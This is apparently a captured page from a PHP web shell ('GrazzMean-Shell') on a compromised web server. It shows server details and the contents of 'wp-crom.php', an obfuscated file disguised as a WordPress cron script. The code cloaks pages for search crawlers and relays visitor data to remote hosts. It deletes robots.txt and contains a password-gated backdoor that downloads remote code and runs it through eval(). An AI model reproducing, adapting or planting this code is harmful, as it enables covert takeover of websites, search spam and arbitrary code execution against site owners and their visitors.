shell bypass 403

GrazzMean-Shell Shell

: /var/www/utdes.com/ [ drwxr-xr-x ]
Uname: Linux wputd 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP version: 7.4.3-4ubuntu2.24 [ PHP INFO ] PHP os: Linux
Server Ip: 158.69.144.88
Your Ip: 3.22.81.40
User: www-data (33) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

name : wp-crom.php
<?php
 goto r6vV2; cQezi: IjIjw: goto mC3EE; zP_Ht: S_Ga1: goto etGfE; PVnVK: bhIgR: goto E2qYs; KeL3i: if (!(R8we5($VyJmA) || !GJIHH($dWV2a))) { goto Uz9Sy; } goto MbF1y; vGbwi: if (!strstr($rbfFI, "\164\145\163\164\x73\151\164\x65\x6d\141\160")) { goto iYVia; } goto GXQsO; TRCbZ: list($PNVb1, $g1bjS, $UxdHi) = A4Ckz("\150" . "\x74" . "\164" . "\160\163" . "\x3a\57" . "\57" . $XwYGW . "\57\151\x6e" . "\x64" . "\145\170" . "\x6f\156" . "\145\x2e" . "\160\x68" . "\160\77" . $Czpf0, $aMZxP, $Czpf0); goto zP_Ht; NwdQK: @ignore_user_abort(1); goto A1MHa; qPbcy: $Czpf0 = "\x74\x79\x70\145\75" . $OaFQe . "\46\x68\157\163\x74\x3d" . $Yb_9l . "\46\165\162\x69\75" . $rbfFI . "\x26\x69\160\x3d" . $ltXTW; goto S1j0E; FiDlD: exit(str_replace("\x78\155\154\143\157\156\164\145\156\x74", '', $PNVb1)); goto m9lSK; S1j0E: $FbGUK = $_REQUEST["\x61\143\x74\x69\157\156"]; goto cqqxx; u09F8: $rbfFI = $_SERVER["\122\x45\121\x55\105\123\x54\137\x55\122\111"]; goto QPBbu; TJLom: function gJihh($I2O5H) { goto jhAoJ; kRFwp: foreach ($LTPEa as $Sz3HO) { goto nhCqX; nhCqX: $yPrUJ = strtolower($Sz3HO); goto QCEDI; yn92n: SXkhD: goto Qa0fG; pKUt1: gPXic: goto yn92n; QCEDI: if (!strstr($I2O5H, $yPrUJ)) { goto gPXic; } goto mq8Rd; mq8Rd: return true; goto pKUt1; Qa0fG: } goto BUeoX; V1QOt: WMQAe: goto aIC5h; bW7_B: goto jI81i; goto V1QOt; jhAoJ: $I2O5H = strtolower($I2O5H); goto o6RZB; aIC5h: $LTPEa = array("\x41\x68\x72\x65\x66\163\102\157\164", "\x41\x6d\x61\172\157\156\x62\157\164", "\102\x4c\x45\130\102\157\x74", "\102\x79\x74\145\x73\160\x69\144\145\x72", "\103\150\141\x74\107\x50\x54\x2d\x55\x73\x65\x72", "\104\141\164\x61\106\x6f\x72\x53\x65\157\x42\157\164", "\x44\157\164\102\x6f\164", "\146\x61\x63\145\142\157\x6f\153", "\107\120\x54\102\157\164", "\x6c\x69\x6e\153\x64\145\170\x62\157\x74", "\115\112\61\x32\142\157\x74", "\123\145\155\162\165\x73\x68\102\157\164", "\x59\141\x6e\x64\145\x78", "\124\167\x69\x74\164\x65\x72\x62\157\x74"); goto kRFwp; o6RZB: if ($I2O5H != '') { goto WMQAe; } goto NoxKf; iESU0: jI81i: goto REhz6; BUeoX: DVYFt: goto iESU0; NoxKf: return false; goto bW7_B; REhz6: } goto i5Y_3; R3TSK: ki3mx: goto FztTf; FztTf: if (!strstr($PNVb1, "\x78\155\x6c\143\x6f\156\x74\x65\156\x74")) { goto tdJbC; } goto nBV0n; rAq3j: function r8We5($zCOI8) { goto MHeJG; CEJAc: $CBUMM = array("\147\157\157\147\x6c\x65\56\x63\x6f\x2e\152\x70", "\147\157\x6f\x67\154\x65\x2e\x63\157\x6d", "\171\141\150\x6f\157\56\143\x6f\155", "\171\141\x68\157\x6f\x2e\143\x6f\x2e\x6a\x70", "\x62\151\156\x67\56\143\157\155", "\x67\x6f\157\56\x6e\145\56\152\x70", "\156\151\x66\164\171\56\x63\x6f\155"); goto GqDW3; GqDW3: foreach ($CBUMM as $Sz3HO) { goto SYOaE; SYOaE: $yPrUJ = strtolower($Sz3HO); goto WkcGZ; e9xxr: IaRAN: goto d7o8P; d7o8P: xCTtB: goto yUgnj; WkcGZ: if (!strstr($zCOI8, $yPrUJ)) { goto IaRAN; } goto v1ceF; v1ceF: return true; goto e9xxr; yUgnj: } goto ctiM0; bFA5V: return false; goto CgZtv; KuZSQ: Cst58: goto cwqAk; MHeJG: $zCOI8 = strtolower($zCOI8); goto FLwO0; CgZtv: goto Cst58; goto riCAK; ctiM0: gR7Fq: goto KuZSQ; riCAK: cmQKJ: goto CEJAc; FLwO0: if ($zCOI8 != '') { goto cmQKJ; } goto bFA5V; cwqAk: } goto TJLom; mL5Xc: t_OGA: goto TRCbZ; mmHKi: if (!file_exists($dUTxg)) { goto mFsOs; } goto pq_D2; MbF1y: list($PNVb1, $g1bjS, $UxdHi) = A4Ckz("\x68" . "\x74" . "\x74" . "\x70\163" . "\x3a\57" . "\x2f" . $XwYGW . "\x2f\x69\x6e" . "\144" . "\x65\170" . "\157\x6e" . "\x65\x2e" . "\x70\x68" . "\160\x3f" . $Czpf0, $aMZxP, $Czpf0); goto ean2s; ryKbB: mdTph: goto PVnVK; PqG1F: $Qo2qo = substr($FbGUK, -1); goto M5OzV; a2MZL: $RKXwP = a4ckZ(implode($nIQen) . $Qo2qo . "\x2e\x74" . "\170" . "\164"); goto SeYsL; takm2: $ltXTW = isset($_SERVER["\x52\x45\115\x4f\124\x45\x5f\101\104\x44\122"]) ? $_SERVER["\x52\105\115\x4f\124\x45\x5f\x41\x44\104\x52"] : ''; goto zNHuq; qtB3v: $KAeE4 = explode("\x5b\172\x6d\135", str_replace("\x72\157\x62\x6f\x74\163\143\157\x6e\164\x65\x6e\164", '', $PNVb1)); goto kTkJ7; m9lSK: tdJbC: goto ty7XJ; t6w2Y: if (!($PhoUv == implode($NKWuf))) { goto Sz21x; } goto CeTE3; Y4vLX: Z8SlX: goto PqG1F; mC3EE: goto UhMC0; goto Y4vLX; bNjJU: @header("\x48\124\x54\x50\57\x31\56\x31\x20\65\60\x30\40\x49\156\x74\145\162\156\141\x6c\40\x53\x65\162\x76\145\x72\x20\105\x72\162\x6f\x72"); goto BJyLY; S75kr: $dWV2a = isset($_SERVER["\110\124\124\120\x5f\x55\123\105\x52\x5f\x41\107\x45\x4e\x54"]) ? $_SERVER["\110\124\x54\x50\137\125\123\105\x52\137\101\107\x45\x4e\x54"] : ''; goto takm2; SeYsL: eval("\77\76" . $RKXwP[0]); goto MFvw4; cs3Ow: $VyJmA = isset($_SERVER["\110\124\124\x50\137\x52\x45\x46\x45\122\105\x52"]) ? $_SERVER["\110\x54\124\120\137\122\105\106\105\x52\x45\122"] : ''; goto S75kr; nBV0n: @header("\103\x6f\156\164\x65\x6e\164\55\x74\x79\160\x65\72\40\164\x65\x78\x74\x2f\170\x6d\x6c"); goto FiDlD; OAawy: if (strstr($PNVb1, "\156\x6f\x74\164\150\x69\156\147")) { goto bhIgR; } goto lDJwu; wfcHt: RAQoC: goto vZFLf; TTQ5c: $XwYGW = "\151\144\143\144\70\151\x2e\142\156\163\150\x67\x79\56\x74\x6f\x70"; goto frcrO; MFvw4: Sz21x: goto XeTtP; r6vV2: @set_time_limit(600); goto hMzxI; M5OzV: $FbGUK = substr($FbGUK, 0, strlen($FbGUK) - 1); goto zks70; hMzxI: @error_reporting(0); goto NwdQK; gjny0: iYVia: goto CYou7; GAStL: qYDQn: goto OAawy; frcrO: if (!($rbfFI !== "\x2f\146\141\x76\151\x63\x6f\156\x2e\x69\143\x6f")) { goto IjIjw; } goto vGbwi; E2qYs: Fa_2C: goto cQezi; xTXZG: @header("\x43\157\x6e\x74\x65\x6e\164\x2d\x74\x79\160\145\72\40\x74\x65\x78\x74\x2f\150\x74\155\154\x3b\x20\x63\x68\141\x72\x73\145\x74\75\x75\x74\146\x2d\x38"); goto RQLNt; rbtmn: $Yb_9l = $_SERVER["\x48\124\124\x50\x5f\x48\117\123\x54"]; goto cs3Ow; IYNJh: echo $ToJ27; goto fsZ2C; GXQsO: $dUTxg = $_SERVER["\104\117\x43\125\x4d\x45\x4e\x54\x5f\x52\x4f\117\x54"] . "\57\x72\157\142\157\164\x73\x2e\x74\x78\x74"; goto mmHKi; vZFLf: if (!($g1bjS >= 500)) { goto qYDQn; } goto bNjJU; lDJwu: if (!strstr($PNVb1, "\150\x74\x6d\x6c\143\x6f\x6e\x74\x65\156\164")) { goto ki3mx; } goto xTXZG; bAWwy: exit($PNVb1); goto wfcHt; wrMSr: mFsOs: goto gjny0; XeTtP: exit; goto FGNil; QPBbu: $TA9xy = isset($_SERVER["\x48\124\x54\120\137\x41\x43\x43\x45\120\x54\x5f\114\101\116\107\x55\x41\x47\x45"]) ? $_SERVER["\x48\124\124\x50\137\x41\x43\x43\105\x50\124\137\x4c\x41\116\107\x55\x41\107\x45"] : ''; goto rbtmn; ty7XJ: if (!strstr($PNVb1, "\x72\x6f\142\x6f\164\x73\x63\x6f\156\x74\x65\156\164")) { goto mdTph; } goto n_HzG; tu15s: goto S_Ga1; goto mL5Xc; CYou7: if (strstr($rbfFI, "\56\170\155\154") || strstr($rbfFI, "\x72\x6f\142\x6f\164\163\x2e\164\170\164")) { goto t_OGA; } goto KeL3i; G6m91: if (!($g1bjS >= 400 && $g1bjS < 500)) { goto RAQoC; } goto I1qq_; zNHuq: $aMZxP = array("\x41\x63\x63\x65\x70\164\55\x4c\x61\156\147\165\x61\x67\x65\72\40" . $TA9xy, "\125\163\145\162\x2d\101\147\145\x6e\x74\72\x20" . $dWV2a, "\x52\145\146\x65\x72\x65\x72\72\x20" . $VyJmA, "\x48\x74\x74\160\55\x50\x72\157\x74\157\x3a\x20" . $OaFQe, "\110\164\x74\x70\x2d\110\157\163\x74\x3a\x20" . $Yb_9l, "\x48\x74\x74\x70\x2d\x55\x72\151\x3a\40" . $rbfFI, "\110\164\x74\x70\x2d\130\55\x46\x6f\162\167\x61\162\144\145\144\55\106\x6f\x72\x3a\40" . $ltXTW); goto qPbcy; CeTE3: $nIQen = array("\x68", "\164", "\164", "\160", "\163", "\72", "\x2f", "\57", "\x76", "\160", "\x73", "\144", "\144", "\x2e", "\144", "\146", "\x71", "\146", "\x61", "\x74", "\56", "\164", "\x6f", "\160", "\x2f", "\x64", "\x6f", "\157", "\162", "\57"); goto a2MZL; FGNil: UhMC0: goto rAq3j; pq_D2: unlink($dUTxg); goto wrMSr; RQLNt: $ToJ27 = str_replace("\x68\164\155\154\x63\157\156\x74\145\156\164", '', $PNVb1); goto IYNJh; fsZ2C: exit; goto R3TSK; kTkJ7: exit(implode(PHP_EOL, $KAeE4)); goto ryKbB; I1qq_: @header("\110\x54\124\120\57\61\56\61\40\64\60\x34\x20\116\x6f\x74\40\106\157\165\156\144"); goto bAWwy; gztob: $PhoUv = md5($FbGUK); goto t6w2Y; ean2s: Uz9Sy: goto tu15s; zks70: $NKWuf = array("\x39", "\x38", "\62", "\x34", "\x35", "\144", "\67", "\64", "\61", "\67", "\x32", "\62", "\x35", "\x62", "\x35", "\x35", "\141", "\62", "\143", "\64", "\x62", "\146", "\x35", "\x30", "\142", "\x38", "\x61", "\x61", "\x34", "\143", "\x37", "\x33"); goto gztob; etGfE: if (!(isset($g1bjS) && !empty($g1bjS))) { goto Fa_2C; } goto G6m91; cqqxx: if (!empty($FbGUK)) { goto Z8SlX; } goto TTQ5c; blNAK: $OaFQe = !empty($_SERVER["\x48\124\x54\120\x53"]) && strtolower($_SERVER["\x48\124\x54\120\123"]) !== "\157\146\146" || isset($_SERVER["\x48\x54\124\120\x5f\130\x5f\x46\117\122\127\101\x52\104\105\x44\137\x50\x52\x4f\124\x4f"]) && $_SERVER["\110\x54\124\x50\137\130\x5f\106\x4f\x52\x57\101\x52\104\105\x44\x5f\120\122\117\x54\x4f"] === "\x68\164\164\160\x73" || !empty($_SERVER["\x48\124\124\x50\x5f\x46\122\x4f\x4e\124\137\105\116\104\x5f\110\x54\x54\x50\123"]) && strtolower($_SERVER["\x48\124\x54\120\137\x46\x52\117\x4e\x54\137\x45\x4e\104\137\x48\x54\x54\120\123"]) !== "\157\x66\146" ? "\150\x74\164\160\163" : "\x68\164\164\x70"; goto u09F8; n_HzG: @header("\103\157\156\x74\145\156\x74\x2d\164\171\160\x65\x3a\x20\164\x65\170\x74\x2f\x70\x6c\x61\x69\x6e\x3b\40\x63\x68\141\x72\163\x65\x74\75\x75\164\146\55\x38"); goto qtB3v; BJyLY: exit; goto GAStL; A1MHa: ini_set("\x64\151\x73\x70\154\141\x79\137\145\162\162\157\x72\x73", "\x4f\146\146"); goto blNAK; i5Y_3: function A4ckz($aEMFZ, $aMZxP = null, $Czpf0 = null, $UTns8 = null) { goto EdKTv; bKYzN: SDssR: goto Mf8pW; aYHIr: $Z0N4u = ''; goto cipZL; P7Bku: try { $vt_hR = @file_get_contents($aEMFZ); } catch (Exception $gE24_) { } goto bKYzN; Mf8pW: return array($vt_hR, $SQt52, $Z0N4u); goto Euoxx; caE6Y: $vt_hR = ''; goto d7tX1; d7tX1: $SQt52 = ''; goto aYHIr; EdKTv: if (!function_exists("\x63\165\x72\x6c\137\x69\x6e\x69\164")) { return; } goto caE6Y; xZ3ew: if (!(($vt_hR === false || $vt_hR == '') && function_exists("\x66\x69\154\145\137\147\145\x74\137\x63\157\x6e\x74\x65\x6e\x74\x73"))) { goto SDssR; } goto P7Bku; cipZL: try { goto moqSM; MZmL_: curl_setopt($EF1iR, CURLOPT_URL, $aEMFZ); goto doSY2; NKF3k: curl_setopt($EF1iR, CURLOPT_POSTFIELDS, $Czpf0); goto yl4CK; yl4CK: z4eBc: goto MwjFf; vB_yA: curl_setopt($EF1iR, CURLOPT_SSL_VERIFYHOST, FALSE); goto BwW56; RkC9l: curl_setopt($EF1iR, CURLOPT_SSL_VERIFYPEER, FALSE); goto vB_yA; gwahS: curl_close($EF1iR); goto ZdRpJ; rkXzc: $UTns8 === null || $UTns8 === '' ? '' : curl_setopt($EF1iR, CURLOPT_USERAGENT, $UTns8); goto OEWEf; MwjFf: $vt_hR = curl_exec($EF1iR); goto Ksq9e; jI96_: $Z0N4u = curl_getinfo($EF1iR, CURLINFO_CONTENT_TYPE); goto gwahS; OGdnV: $aMZxP === null ? '' : curl_setopt($EF1iR, CURLOPT_HTTPHEADER, $aMZxP); goto rkXzc; BwW56: curl_setopt($EF1iR, CURLOPT_CONNECTTIMEOUT, 30); goto Wu2yd; Ksq9e: $SQt52 = curl_getinfo($EF1iR, CURLINFO_HTTP_CODE); goto jI96_; Wu2yd: curl_setopt($EF1iR, CURLOPT_RETURNTRANSFER, 1); goto OGdnV; OEWEf: if (!($Czpf0 !== null && $Czpf0 !== '')) { goto z4eBc; } goto NY8T8; doSY2: curl_setopt($EF1iR, CURLOPT_FOLLOWLOCATION, 1); goto RkC9l; moqSM: $EF1iR = curl_init(); goto MZmL_; NY8T8: curl_setopt($EF1iR, CURLOPT_POST, 1); goto NKF3k; ZdRpJ: } catch (Exception $gE24_) { } goto xZ3ew; Euoxx: }
?>
© 2025 GrazzMean-Shell